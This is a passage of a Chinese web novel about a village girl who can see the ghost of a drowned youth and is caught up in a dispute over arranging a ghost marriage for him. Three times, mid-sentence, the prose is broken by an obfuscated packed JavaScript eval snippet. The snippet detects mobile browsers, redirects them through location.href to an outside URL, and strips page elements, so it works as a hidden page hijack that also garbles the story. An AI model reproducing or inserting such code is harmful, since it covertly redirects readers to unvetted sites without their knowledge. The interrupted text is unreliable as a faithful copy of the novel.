赖混子之所以一直打光根到如今这把年纪,除了有他爹娘早亡、家底薄的客观因素,还有他自己导致的主观因素。 年轻时的赖混子虽然个头不高、长得也普通,但也是正值风华正茂好年纪的大小伙子一个。 韩寡妇死了男人回同甘村投奔哥嫂,一来二去就被嘴甜会说话的赖混子哄了去,她哥嫂也不想一直养着这个妹妹,得知两人的事情后就找上赖混子让他负责。 再嫁由身,韩寡妇还年轻,也没个孩子,她是愿意改嫁的,可没想到向来甜言蜜语的情郎却矢口否认。 赖混子不过是图个新鲜刺激,他还想娶黄花大闺女呢,哪里真的愿意娶一个大他好几岁的寡妇。 韩寡妇受不住事情被所有人知道、而赖混子又不认,一冲动就喝了农药,她哥嫂嫌丢人也搬离了同甘村。 之后赖混子还想相看,可谁家不知道他这点龌龊事,对他很是不齿,哪有人还愿意把女儿嫁给他,于是他才一年年拖成了老光棍。 赖混子有时候自己都忍不住想,他是不是遭了报应,要是那时候负起责来,娶了韩寡妇,他现在也不至于媳妇孩子一个都没有。 这会儿被邓霞扒了旧账,赖混子恼怒起来,“人好好一青年为了救你闺女搭上了命,连个媳妇都没有的到了地下,换做是有情有义的姑娘,拿命还他都是应该的,更不用说和他结阴亲了!” “谢礼我家给了,丧事我家帮衬着办了,诚子挣的工分也分了,”邓霞毫不退让,“他们李家都说不出让我闺女赔上后半辈子给他儿子守着的话,你在这儿说什么?猫哭耗子多管闲事!关你什么屁事!” 赖混子一噎,随即想到什么,梗着脖子说,“李队长他姑是我娘,我是李家小子的表叔,我怎么没资格说这话了!” 乡野人家大多沾亲带故,如盘根错节的树根,捋一捋多少都有那么点的亲缘关系。 “是你侄子又不是你儿子!”邓霞突然想起闺女之前说过的话,就这么秃噜说了出来,“你个没儿子的绝户头,别替侄子想了,先想想你自己死了之后怎么办吧!” 这话一出,打麦场所有人都睁大了眼。 “绝户”这词一般都是男人指着女人骂,骂她生不出儿子给家里断了香火,人们还是第一次听这个词是女人骂到男人身上,但一结合赖混子这人……还真是贴切。 被扒了老底,又接着踩中痛脚,赖混子一张脸涨成紫红色,说又说不过,他怒气上头,朝着邓霞就冲了过来。 邓霞手里拿着根挑水的扁担,也不怕他,像耍大棒似的,赖混子冲过来就被她一扁担打在胳膊上。 赖混子现在已经气疯了,被打了也不管不顾,就想狠狠教训一下邓霞。 钟颖左右看了看,连忙抓起一根碾麦秸的木杈过来帮她娘。 生产队队长李明和其他人赶过来的时候,就见这一副娘俩大战赖混子的场景,一个拿着扁担、一个拿着木棍,打麦场上的其他人哪敢上前,生怕自己会被波及,只能着急的在一边劝。 “钟老二家的,快别打了,哪能带着闺女打人啊——” “哎!赖混子你也真是的,让你瞎说!” “颖妮儿快放下手里棍子,劝劝你娘也停手……” 简直是乱成了一锅粥。 李明眉头紧皱,沉声喝道,“干啥呢?!都给我住手!” 钟春生上前拦自己媳妇,顺带狠狠踩了赖混子一脚。他和邓霞、小儿子一起去河边挑水,把水挑到地里却发现邓霞没回来,一问其他人才知道是怎么回事。 个不要脸的老货!要不是李队长在这儿,钟春生自己都想揍赖混子一顿!他好不容易捡回一条命的闺女,就是怕李家追究,怕李家人想让钟颖给李家小子守一辈子,他才又是赔礼又是赔儿子的。好不容易这事算揭过了,这赖混子又扒出来说! 紧跟着追过来的李明媳妇,刘红艳也几步匆匆上前去拉邓霞,“你听他个浑人瞎说!我家才没这想法,妹子,我跟你承诺,我没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448717|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想让你闺女跟我儿子结阴亲!” 得了这承诺,邓霞才作罢,她闹这么一通为的也就是这个,“嫂子,这话大家伙儿都听着了。” 刘红艳连连点头,“我虽然不是男人,但说出去的话也是一个唾沫一个钉!” 邓霞这才任她把自己手里的扁担拿走。 刘红艳又去把钟颖手里的木棍拿走,这么厉害的丫头要是和自己儿子的红线绑一块儿了,万一下辈子投胎再一块儿做了夫妻,她儿子不是要光挨打去了?赖混子说那些结阴亲的话到底是想害人姑娘还是想害她儿子? 李明见媳妇把纠缠扭打的两方人马分开,公平公正的做出裁判,“钟老二家的,耽误上工跑来打架,昨天给你记的工分全抹了;颖妮子不拦着,净跟着你娘胡闹,你昨天干的工分也抹了!” 李明又看向赖混子,“你个祸头子!看看你挑出来的这些事!扣你三天的工分!” 邓霞得到了承诺,保住了闺女,一天的工分比起来算什么; 打麦场的活计轻省下来之后每天只算四个工分,扣就扣吧,钟颖也不心疼,反正她家又不指着她挣工分; 赖混子不行啊,他又没有媳妇孩子帮衬着挣工分,他自己又是个能混则混的人,本来工分挣的就少,现在又一口气扣掉了三天的工分,之后他还能分得多少粮? “队长,这是不是有点太多了?”赖混子觍颜说着,抬手扇自己巴掌,“我胡说我自扇巴掌,工分什么的,少给我扣两天呗?你给她们娘俩才扣一天,怎么给我扣三天?” 李明懒得搭理这个挑起是非的祸头子,只沉着脸扬声对其他人说,“该干活的都去干活去!” 当然处罚了不代表着结束,这种在工作场合撕X的事情就算放到现代,也是会在钟颖的各个公司群聊中被热烈讨论一番,吃瓜,人的本性。 回到现在,那就是“三夏”农忙过后,人们有闲工夫凑在一起开启闲聊的第一个话题。 “听说了没?钟老二家的前些日子差点把赖混子的腿给打折了!” “啊?为啥啊?” “能把那泼辣妇惹火了还能为了啥?还不是之前李家小子救了她闺女反倒自己淹死的事,赖混子说钟老二的闺女就应该给李家小子结阴亲还上这恩情!” “这……好好的姑娘嫁给个死人?赖混子这顿打没白挨,哪能说这种话啊!” “是啊,不过李家给他家小儿子结门阴亲也行,悄悄打听打听十里八乡的,肯定也有同样年纪轻轻就走了的姑娘。” “也是,都是孤苦伶仃走了的孩子,到下面还能结个伴……” 说的人多了,刘红艳不由得也听进去了。 李明躺在床上,一边酝酿睡意,一边思考着第二天的生产任务怎么安排,盘算着明天要做的事情。 这些日子天气越来越热了,浇水要跟上,可不能让玉米苗被晒干了。 身旁的人翻了个身。 对了,按照往年来看,进了七月雨水就更多了,清沟理渠也不能忘,田里积水可是会烂根的。 身边的人又是翻了个身。 还有除草的事,草荒苗会和玉米苗抢水、抢肥,每天都要捋一遍地里拔干净。然后就是施粗肥的活,这个事每亩地要给社员们算七个工分…… 又是一个翻身。 李明忍不住出声,“你这是咋了?翻来翻去的睡不着?” 刘红艳又翻身转过来,面对李明幽幽说道,“我在想,是不是确实要给四儿结门阴亲。” 14. 结阴亲 李明一听他媳妇这话,立刻眉头一蹙,“你不是和钟老二家的说定了。” “结阴亲哪儿能找活人,那肯定是找年龄相仿、同样是没结婚就早早去了的女孩。”刘红艳说。 李明仍皱着眉,他满脑子都是庄稼、劳作、工分,要在这些事情中再硬塞进去一件“结阴亲”的事,他有点抵触,“搞这些有的没的干嘛?” “我之前也没想过这事,这不是说的人多了,连我弟妹都问我要不要给四儿结门阴亲,免得他在下面连个伴都没有。”刘红艳神思不属,“而且前两天四儿的五七坟都上了,可这么些日子他愣是连个梦都没托给我,我就在想,是不是在怪我没给他结门阴亲,让他在下面孤苦伶仃的……” 刘红艳说着突然掉下来泪来,“也怨你,当时起名我都说了‘霖’这个字太大,怕四儿压不住,让你拣别的字取名,你非不听,说甘霖河是同甘村的根,就让四儿叫这个名!” 李明打小就意识到人要多读书,只有多读书才能改变命运,他也确实因此改变了自己的命,从一个地里刨食的少年到被推举成为村长、再到后来生产队的队长。 他更坚定了要让后代都能成为文化人的心,李明为此特意找了曾在地主少爷身边当过丫鬟、村里最有文化的三姑帮他拟了自他之后每一代子孙的字辈——“明时光祖德,忠孝继世长”。 李明和刘红艳的孩子都是按照“时”字辈起的名字,每一个孩子取名前都找三姑根据生辰八字算了五行。 大儿子五行缺金,便从金字旁的字里选了“钢”字。 二儿子命里缺木,就起了“荣时”这个名字。 一胎同生的闺女也取了带“木”的“柔”字。 小儿子缺水,在一众“江、河、涛、泳、泽、泉、雨、冰、霖”等字里,李明一眼就挑中了甘霖河的“霖”字,他希望小儿子也能成为同甘村的“甘霖”,长大后能有一番作为,让村子里人们的生活变得更好。 为小儿子的出生而欣喜的李明根本想不到,二十二年后,这一个字仿佛成了谶纬,用了“霖”字做名字的小儿子居然会葬身甘霖河中。 李明沉默良久,半晌后才叹了口气,“那你找胡打听问问吧。” 他最终还是同意了这一桩荒唐事。 第二天下工后刘红艳提着一包白面饽饽就去了村西,农闲时往往太阳下山生产队的人们就下工了,所以她到聂家时天色还大亮着。 聂家还没分家,胡打听是跟大儿子聂金龙一家、小儿子聂小龙住在一起,见刘红艳主动来她家串门子,她顿时眼睛一亮,惊喜的问,“我家金凤也有好消息了?!” 胡打听的女儿聂金凤嫁的就是刘红艳家的老二李荣时,除了三年前得了个小子,之后她闺女就再没开怀过,让胡打听直发愁,都快成她的一块心病了。 “没,这种事亲家你也别急,儿孙自有儿孙福,你越催她压力越大,我自己也是有闺女的,知道这事是急也没用。”刘红艳拉着胡打听进屋,她自己的闺女李柔结婚五年怀了四次却只留住了一个女孩,那边婆婆就催生儿子催得紧。 将心比心,刘红艳也就不会这样对自己的儿媳妇,她希望自己对别人的女儿好些,为自己女儿积福,换得女儿的日子能够过得容易些。 刘红艳在聂家堂屋坐下,她把手里装着白面饽饽的布包推给胡打听,“我来是有事求你。” 胡打听一头雾水,她因为爱打听,生产队的人家找她帮忙大多都是让她帮忙打听哪家的青年、哪家的姑娘有没有适合自家孩子的,简单来说,她干的是个媒婆的活。 可刘红艳家除了那溺水而亡的幺儿,其他孩子都已经成家了啊,再往下数,孙子辈的孩子最大今年也才八岁,又不是穷到揭不开锅的人家,哪会那么着急找婆家? “我知道附近几个生产队的人你都认识,那些盘根错节的亲戚关系也就你能理得清,”刘红艳先恭维了两句,“所以我想找你帮忙私底下寻摸寻摸,看看有没有和我家四儿差不多年纪走了的姑娘,让两个可怜的孩子在下面好歹有个伴。” 胡打听想起前阵子赖混子闹出来的事,一下子了然,她收了这份特殊的媒人礼,“行,那我借着和人聊天的时候悄悄帮你打听打听。” —— 屋子里像开了急速制冷的空调,钟颖一感受到温度的变化,不用看都知道是谁来了。 她原本侧着身面朝墙壁躺着,可他一次又一次的突然出现,钟颖都要熟悉这种带着些潮湿水汽的阴冷了,简直像游戏角色登场前的前摇,昭告着他的出现。 钟颖睁开眼睛,忍不住叹了口气,明明都已经大半个月没有出现了,怎么今晚又来了,这死鬼就不能放下屠刀早日投胎吗? “大哥,你要杀我能不能赶紧的,不要这么磨磨唧唧、反反复复行吗?”钟颖深深的无奈了,说着她就要转过身来。 一滴冰凉的水珠打在她的肩胛骨上,制止了她的动作。 “不杀你。” 男鬼的声音冷淡中似乎有些僵硬,“别转过来。” 什么毛病?钟颖还从没有这样躺在床上背对着人说过话,她觉得很是别扭,还想动,散发着幽幽寒气的冰冷手指抵在了她的后背。 行,不让转身就不转身,钟颖忍不住腹诽,都顶着那张苍白的脸晃悠多久了,现在怕人看了? 李霖时见她终于不再想要转过身来,立刻收回了手。 他此举只是不想看到什么不该他看到的,也不想让她看到自己躲避的目光,显得他很在意似的,像个思想保守古板的老古董。 “我这次来不是要杀你,是要你帮我做些事情。”李霖时说,他停顿了一下,“我娘找胡打听帮忙打听……结阴亲的事情你知道吗?” “知道啊,现在生产队没人不知道这事吧,私底下都成个话题了。”钟颖懒散的答着,他要是不来,这个时间她都酝酿好睡意安然入睡了。 “你去和我娘讲,我不需要结什么阴亲。” 李霖时在听到人们说起时,他第一感觉就是荒诞。 在放弃杀钟颖后,李霖时不再需要尾随着她寻找下手的时机,他一时之间失去了目标,他也无处可去,所以大多数时间待在甘霖河里,只偶尔会回家看看亲人,他怕见多了心里难受。 所以李霖时是最后一个知道自己要结阴亲的。 他是真的觉得荒谬,他既没有到地下,也并没有觉得孤苦伶仃想要找个伴,人间连看得到他的都没有几个,怎么会有欺负他的。 一切都是人的臆想。 李霖时第一次切身感受到人思想的愚昧和落后所带来的压迫,他根本不需要一个虚妄的、荒唐的“伴”。 “你不想结阴亲怎么不自己去说?”钟颖说,“我听我娘说,你娘是因为你一直不给她托梦,以为你怨她,所以才又提起了结阴亲的事。” 李霖时听着她话里的“我娘”、“你娘”,莫名有种古怪的感觉,再结合此时此地,深夜、私人空间的屋子里,如果忽略话里的内容,他们两人简直像是一对才刚结婚的夫妻,彼此还改不过口来的说着“我娘”、“你娘”。 他轻甩了一下脑袋,把这更为荒诞的想法甩出去,回到原本的话题,“我入不了梦,人们认为的鬼魂托梦不过是他们日有所思夜有所梦。” 李霖时抿了下唇,又看了一眼钟颖的后脑勺,“我娘一直没梦到我,应该是前阵子农忙太累了,所以睡得很沉。” 钟颖有些难办的抬手用手指敲了敲脑袋,“你要我怎么去说啊?我娘这几天盯我盯得很紧,连上工都又不叫我去了,就怕我到你娘面前晃悠,惹了她的眼,万一没找到合适的逝世女孩和你相配,你娘再反悔突然又想起我来。” 李霖时沉默,这也是他觉得世事更加荒诞的地方,那赖混子到底是怎么说出活人和死人结阴亲的鬼话的? “你想办法。”李霖时冷然道。 李霖时没办法,能看见他的人只有钟颖一个,他只能找钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448718|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颖来帮忙传话。 “我娘上工都和你娘在一块儿,我很难避开我娘去找你娘说话哎。你们男的都是这样,抛出问题就不管了,我想办法,我能有什么办法,让我想想……”钟颖抱怨的声音越来越小,说到最后宛若呢喃,没了声音。 李霖时盯着她的后脑勺,浓墨般的幽暗眼眸中浮现出难以置信,她就这么睡着了? 第二天吃过早饭后,家里其他人去上工,钟颖则不急不忙的背着筐子往村子后面的颖山走去,邓霞这些日子不叫女儿去上工,给钟颖安排的事情就是让她去颖山山脚下拾柴火。 钟颖拿着一个用几十根细竹篾字编了一排秘密耙齿的竹靶子,她拉着耙子在颖山山脚的路上往前走,散落在地的树枝就被耙齿搂了起来,“我想好了,今天拾柴火我拖得久一点,估摸着我娘回家做晌午饭的时候,我就去找你娘,这叫打个时间差。” 她身后卓然而立的修长鬼影默默听着。 钟颖侧头向后看了一眼,见阳光透过树叶间的缝隙落在李霖时苍白平静的脸上,奇道,“咦?我还以为鬼不能照太阳。” “那也是人自己想的,认为鬼照到太阳光就会灰飞烟灭。”李霖时因她愿意帮忙,不介意为她答疑解惑,“实际鬼灰飞烟灭的条件不是这个。” 钟颖心跳猛地跳快两下,故作随口问道,“哦?那是什么?” 李霖时抬起眼皮,冷淡平静的扫了钟颖一眼,“滞留人间,被最后一个记得他的人遗忘。” 出乎意料的答案让钟颖忍不住回头看了李霖时一眼,当这鬼像达摩克利斯之剑一样高悬在她头顶,随时会收割她的性命时,钟颖当然想过反抗。 没有实例,钟颖只能参考现代各种鬼片,她想过桃木剑、黄符,最恨他的时候钟颖是真的想不管不顾的拉着这鬼到太阳底下暴晒一通。 只是钟颖没想到,真正能令鬼灰飞烟灭的方法如此质朴,居然是遗忘。 钟颖收回心绪,卸下身后的筐子,把竹耙子拉过来也放在地上,卸下上面堆积的柴火,“这是别的鬼告诉你的?” 她可没有错过李霖时曾经说漏嘴的话,他说有人告诉他,鬼乱杀人会造业障,但杀害死自己的人,那叫冤有头债有主,天经地义。当时李霖时停顿了一瞬,应该是意识到了自己说错,所以这些事情是前辈鬼告诉他的。 钟颖想到这里,突然有了个想法,“和你说这些的是男鬼?还是女鬼?” 见这鬼听到最后一个词目光似有触动,钟颖立刻一拳砸在另一只手的手心上,“那不正好吗?是哪家的鬼?我去找你娘的时候顺便帮你提一句,这有一个现成的女鬼,你俩在人间都不愿意走,正好做个伴。而且也让你娘不用再到处打听了,省得打听不到再又想到我身上。” 李霖时的目光再次沉凝阴翳起来,黑眸幽深,他又感受到了愤怒。 钟颖已经有些习惯这死鬼的阴晴不定了,反正她连死都不怕了,怎么可能还会怕他的冷脸。 她自若地和刚走过来的年轻女孩打了个招呼,“钟妮,你也过来捡柴火啊?” 因为瘦而显得眼睛格外大的女孩腼腆的点了点头。 这女孩是钟颖大伯的女儿,钟春生和他哥钟秋收关系很僵,就算都是生活在同甘生产队,两家平日里也没什么来往,导致小一辈的孩子们也不过是点头之交。 钟妮和钟颖打过招呼后就默默走到另一边去拾柴火了。 钟颖见左右无人,又悄悄压低声音和男鬼聊起来,“你还没说是哪家的鬼?不过我从原本的记忆里来看,同甘生产队近些年好像没有成年女孩去世?” 说着钟颖又纳闷起来,所以同甘生产队里另一个鬼会是谁? 就在这时,她突然见一道飘渺纤瘦的身影缓缓飘落到远处钟妮的身边。 钟颖目光停驻,第一眼觉得有些眼熟,可片刻后,她却在脑海中忆起了这女鬼生前的音容笑貌,她顿时眼中尽是吃惊,不禁叫出对那鬼的称呼,“大伯娘?” 15. 搂柴火 做了鬼之后耳聪目明,曹芳听到了这声微不可查的惊呼,她抬头看去,对上钟颖吃惊的目光,她却顿时一喜,飞身飘了过来,“她叔家颖妮,你怎么突然能看见我了?以前你都看不见的。” 钟颖尚在震惊中。 同甘生产队的另一个女鬼居然是她大伯娘? 想起自己刚刚说的那些话,钟颖回过神来立刻看了一眼李霖时,希望这鬼别把自己说的话听进去,不然这真是乱了套了,她大伯死去妻子的阴间丈夫,她应该叫什么? 钟颖走远了些,离开钟妮的视线范围,才和曹芳小声说起话来,“大伯娘你怎么还在啊?我还以为你早就去投胎了。” 还是见到女鬼的那一刻,钟颖才从原身尘封的记忆中回想起她来,因为时间真的已经过去太久了。 算算……已经有十六年了。 钟颖想起这位大伯娘,先想起的是她娘的那句话,“你大伯娘是个命苦的。” 记忆中“钟颖”还是个比现在钟国强稍大一岁的小女孩,只是那段时间发生了一系列堪称人生巨变的事情,给她的记忆刻下了重重的痕迹。 先是五一年的冬天大伯家的两个哥哥偷偷瞒着大人上山找吃的,却遇见了野兽,俩孩子慌张逃路时失足摔下了山,就这样双双丢了性命。 也是从这件事后钟老爹和他大哥两家闹掰的。 两个儿子一个九岁一个七岁,都是要养住了,却突然遭了难,钟大伯悲痛之下却怨恨上了弟弟一家。再加上一个之前在一岁时就生病早夭的女儿,钟秋收四个孩子只剩下了一个小女儿钟妮,反观他弟弟钟春生家,一儿一女活得好好的。 因为自己过得不好,就看不下去别人的日子过得好,钟秋收阴暗的希望弟弟家的钟诚也能出事,他甚至有一回真的去哄骗才刚五岁多点的钟诚跟着他走,幸好被又哭又闹的钟颖拖住了,等到了邓霞回来。 邓霞一见这狼心狗肺的玩意儿要叼走她的崽,顿时就怒了,两家自此彻底闹掰。 当时还怀着孕的曹芳又是为两个儿子的去世肝肠寸断,又要劝迷了心窍入了“邪”的丈夫明事理,还要照顾因为家中气氛沉郁而惊惶哭闹的小女儿钟妮,身心俱疲下,刚翻过年去,曹芳就提前发动了,难产。最后她给钟秋收又生下了一个儿子,她自己却没了。 真的已经有十六年了。 想起鬼魂飞魄散的条件,钟颖暗暗心惊,“大伯娘你在人间停留这么久真的没事吗?” 人死之后,时间如渐渐起效的麻沸散,慢慢的治愈亲者心中的疼痛,也麻痹着记忆,在慢慢淡去悲痛的同时将有关逝者的记忆也慢慢淡去。 就像是钟颖,如果不是再次看见曹芳的鬼魂,哪里还会想起这个尘封在记忆深处的大伯娘。 如果说念念不忘是拉扯住鬼魂存在的风筝线,钟颖想不到现在拽着曹芳的线还能有几根,她大伯?对亲弟弟的儿子都能下手的人能是什么长情的人; 她大伯家的拴柱堂弟?一出生就没见过娘,哪怕听人时不时说起,他怕是对这个拼死生下自己的亲娘也只有感恩,却想象不到具体的人; 恐怕也只有刚刚钟颖见到的堂妹钟妮还记得这个娘了。 “没事,”曹芳习以为常的说,显然经常听到这番劝她不要在人间停留的话,她只笑笑,“现在我还不能走。” 曹芳死后仍留在人间,放心不下的就是她的两个孩子。 “你大伯不是个好的,我家妮儿是个可怜的,没了娘、爹又不管事,她从小带着拴柱,受了不少苦。”曹芳说着神色落寞,“我看着两个孩子好不容易长大,拴柱好歹是你大伯现在唯一的儿子,我不用给他多操心,唯一放不下的就是我家钟妮,等看着她嫁个像你爹、你哥那样的好男人,我就去投胎。” 钟颖沉默了,这时候的农村女性,想要改命只能盼着第二次“投胎”能嫁去个好人家,女人能走的路太窄了。 “大伯娘不和你多聊了,等有空我再来找你,我先回去看着我家妮儿了,万一草里再有个长虫什么的,我好歹还能按住。”曹芳腼腆笑起来的样子和女儿很像,“也许是死前一直在拼命用力,我现在就有一把子力气,比男人都强呢。” 钟颖看着曹芳飘回去,目光专注搜寻地上柴火的年轻女孩无知无觉,飘在她身后的鬼魂一手托着她背上的筐子,还不忘轻柔的拂开女儿头顶上方野蛮生长的树枝,虽是鬼,却像守护神一般。 “不行,我眼睛要尿尿了……”钟颖吸了下鼻子,不敢再看,转头就走。 再看跟在自己身边的“达摩克利斯之剑”,钟颖没什么好气,“你不是要让我找你娘说话,你去看着,等我娘从地里回家做饭了,再过来喊我一声,我就去找你娘。” 李霖时点点头,一声不吭的离开。 “眼睛要尿尿”,这是个什么意思?李霖时板着一张面无表情的脸,想的却是钟颖方才喃喃的那句奇怪的话。 死鬼走了,钟颖终于能一个人静静拾柴火。 半天的功夫,钟颖运气不错,不知不觉搂了不少柴火,她之前卸下放在一旁的筐子都要装不下了,她热得出了一头的汗,这时不禁又想起那死鬼来,最起码他在的时候凉快。 这么一想,钟颖觉得这鬼比现代的空调都好用,不用电,能随着人移动,还不限制室内室外。 “这不比那些智商税的移动便携空调还好用?”钟颖自言自语的说着,蹲在装满柴火的筐子前,把两根带子背到肩上,起身就要把筐子背起来—— 没背起来。 钟颖惊诧,她装的都是些零零散散的树枝,怎么加在一起这么沉? 没办法,钟颖只能扔了一半柴火,只剩半筐的干柴火估摸也有个二、三十斤,她勉勉强强背了起来,很是吃力。 可很快,钟颖就觉得自己适应这重量了,不过一会儿,她感觉背上的筐子就没那么沉了。 “你娘和你嫂子回家做饭了,今天是我两个嫂子回去做饭,我娘还在地里。” 钟颖闻声向后看了一眼,原来不是她成长了,而是有鬼搭了把手。 李霖时说完,只一手抬着筐子底下,乌黑幽深的眼眸一动不动的盯着钟颖。 钟颖受不了他这种可怖的无声催促,“好好好,现在就去。” 背着原本吃力的半筐柴火健步如飞,钟颖很快从颖山山脚下走到了甘霖河边的庄稼地,看着还在辛勤劳作的人们,她悄悄走近一人,“伯娘,我有点事想和你说。” 刘红艳满心疑惑,和旁边的丈夫对了一眼,才跟着钟颖往外走了一段路。 被鬼瞥了一眼,钟颖踌躇着开口,“伯娘,我就是想来问问那结阴亲的事……不办行不行?” 钟颖忍不住低下了头,她简直是硬着头皮在说。 李霖时站在一旁,“就说是我托梦给你,我不愿意。” 钟颖没好气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455647|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的悄悄翻他一个白眼,他托梦给她?他俩啥关系啊,他托梦不给他亲娘托,给她托梦?这鬼说慌都不会说。 刘红艳看不见心心念念的小儿子就站在她旁边,也听不到李霖时刚刚说的话,她只因钟颖的话而惊讶。 钟颖见刘红艳吃惊的看着自己,她也知道自己突然过来说这些有些唐突,但架不住一个鬼磨刀霍霍催着她。 她正为难接下来的话该怎么说,就见刘红艳的目光从惊讶变成了欣慰。 欣慰?怎么会是欣慰? “伯娘就知道你跟你娘一样,虽然脾气差一点,但心是好的。”刘红艳欣慰的说着,眼中闪过晶莹的光点,她拉着钟颖的手,“你这个时候来找我,是特意避开了你娘吧?你看我家要操办着给四儿结阴亲,我能理解你的不情愿……” 钟颖愣住了,谁不情愿?这事不是死鬼不情愿吗? 可她一想也没有更好的理由了,只能憋屈着低头应下来,“对,是我不愿意他结阴亲。” 刘红艳忍着泪花,安慰着钟颖,“可到底是已经阴阳相隔,你俩没缘分了,是我儿没福气……你是个好姑娘,日子还长着,你还得往前看,总会有新的好姻缘的。” 钟颖噎住,她怎么就成深情人设了,“……伯娘,结阴亲的事情真的不能算了吗?” 刘红艳只怜爱的看着她,“快回家吃饭吧,背这么多柴火累不累……” 钟颖偏头看了李霖时一眼,她真的努力了。 “姐!” 钟信远远喊了一声,快步冲了过来,他还记得他娘说的话,警惕的看了一眼刘红艳,上前拉过钟颖,“姐,你怎么还没回去?娘让我来找你。” 刘红艳也不恼,只温和的对姐弟俩说,“是了,都快回去吃饭吧。” 钟信抿了下唇,为自己刚刚的没礼貌有些不好意思,缓和了语气,“那伯娘,我和我姐就走了,姐,筐子给我,我来背。” 钟颖嫌把筐子放下、倒手换人麻烦,“不用,你帮我抬着点就行。” 抬着筐子的男鬼闻言就松了手,一瞬间钟颖险些被沉重的筐子坠得后仰过去,好在她弟靠谱,钟信很快接替他帮忙抬着。 刘红艳目送姐弟俩离开,李霖时也没走,仍停留在原地。 “娘,钟二叔家这小妹过来找你说啥了?” 李家大儿媳田梅和二儿媳聂金凤过来送饭,两人远远就看见了,走过来聂金凤就忍不住问出了口。 刘红艳往回走,叹息道,“她还放不下,说不想让四儿结阴亲。” 李明听到这话,暂时停下了手上给庄稼地挖排水沟的活儿,直起身来看向媳妇。 “之前四儿丧礼上我看颖妮儿也没掉眼泪,还以为是四儿剃头挑子一头热,现在看来也不是这样。”刘红艳说着心里就又难受起来,“这都叫什么事啊,哎,可惜了……” 聂金凤和她嫂子田梅对视一眼,两人眼中俱没什么可惜之情,她们可不想和这么厉害的丫头做妯娌。 刘红艳想起刚刚钟信那小子警惕的眼神,她有些无奈的和李明视线交汇,“我都和钟老二家的承诺了,不会打她家闺女的主意,结果还这么怕我说话不算数。” “果然说再多也不如做实事,看来四儿的事更要抓紧办了,不然钟老二一家子的心都提着。” 刘红艳最后的结论让一旁默默听着的李霖时忍不住面露诧异,事情又再次超出他的预料。 16. 误会 当邓霞知道钟颖居然偷摸去找了刘红艳,她也以为钟颖是死心不改、执迷不悟,气得邓霞揪着女儿的耳朵教训了一顿,“那李家小子是迷了你的心窍吗?活着勾得你不管不顾,死了还让你念念不忘,他是个狐狸精转世不成?” 什么狐狸精,明明是艳鬼,只是钟颖不能说出来,只暗自腹诽。 钟颖被教训一顿,又被邓霞塞过来一个小拖油瓶,显然她娘深知想要绊住一个女人的手脚、就扔给她一个孩子这招。 毫不客气的把看孩子的活又丢给红糖,小国强和黑色大狗在一边玩,钟颖揉着红通通的耳朵,弯腰把拾回家的柴火在院子里摊开晒干,小声嘀咕着,“怎么样?你娘打消念头了吗?为了你这些破事,我牺牲可太大了!不只是在你娘那儿我莫名其妙多了个忘不了你的深情人设,还在我娘这儿落了个死心不改,你看看我这耳朵!” 李霖时的目光落到她红得想要滴血的耳朵上,只幽幽的说,“……我娘说更要抓紧办。” 他难道就没有一个莫名其妙的“剃头挑子一头热”帽子吗? “啊?”钟颖站直身子,深深的无奈了,“这都叫什么事啊?” 什么事也没做成,还更加深了误会。 明明她和这死鬼什么都没有,偏在其他人眼里,甚至现在连双方家长那里都过了明路,成了一对至死不渝的小情侣。 这都叫什么事啊! 不过事情还是出现了转机。 胡打听坐在李家堂屋,一脸为难的说,“亲家,这事你也看到我出了多少力,十里八乡的生产队我都悄悄去问了,二十出头的姑娘大多都嫁人了,再往下十八、九岁的,这个年纪的女孩都已经养住了,可以嫁人了,哪有去世的。八、九岁的,甚至再小的,这倒是有不少。” 刘红艳皱眉,“那怎么能行,这不是差着辈了。” 她最大的孙女今年就八岁,哪能给小儿子配一个这么大的小女孩结阴亲,这也太不相配了。 “所以这事是真的难办,我这些日子腿都要跑细了。”胡打听说着握拳拍打着仍酸痛的小腿,“要是当时钟老二家的闺女也在河里没了,那是最正好的,两小孩年纪相当,正好配了阴亲——” 顺嘴说出来这么一句,胡打听说完自己都吓了一跳,连忙呸呸两声,“我这说秃噜嘴了!我不是、我没有这意思,我没这个坏心的,你可千万别把这话说出去,让钟老二家的知道,那泼辣妇非打上我家门,把我嘴给撕了!” 胡打听心有余悸的拍着自己的胸口,又扇了自己嘴一巴掌,“这嘴真是话说得多了,什么都敢往外冒!” 刘红艳只勉强的笑笑,“放心吧,我不往外说。” 结阴亲这事只能这么不了了之,刘红艳特意在很多人聊天的时候插入话题,多次说了“没合适的”、“只能算了”,才终于打消了钟老二一家人的警戒心,给结阴亲这事画下句号。 只是钟颖又有新的“鬼来了”订单。 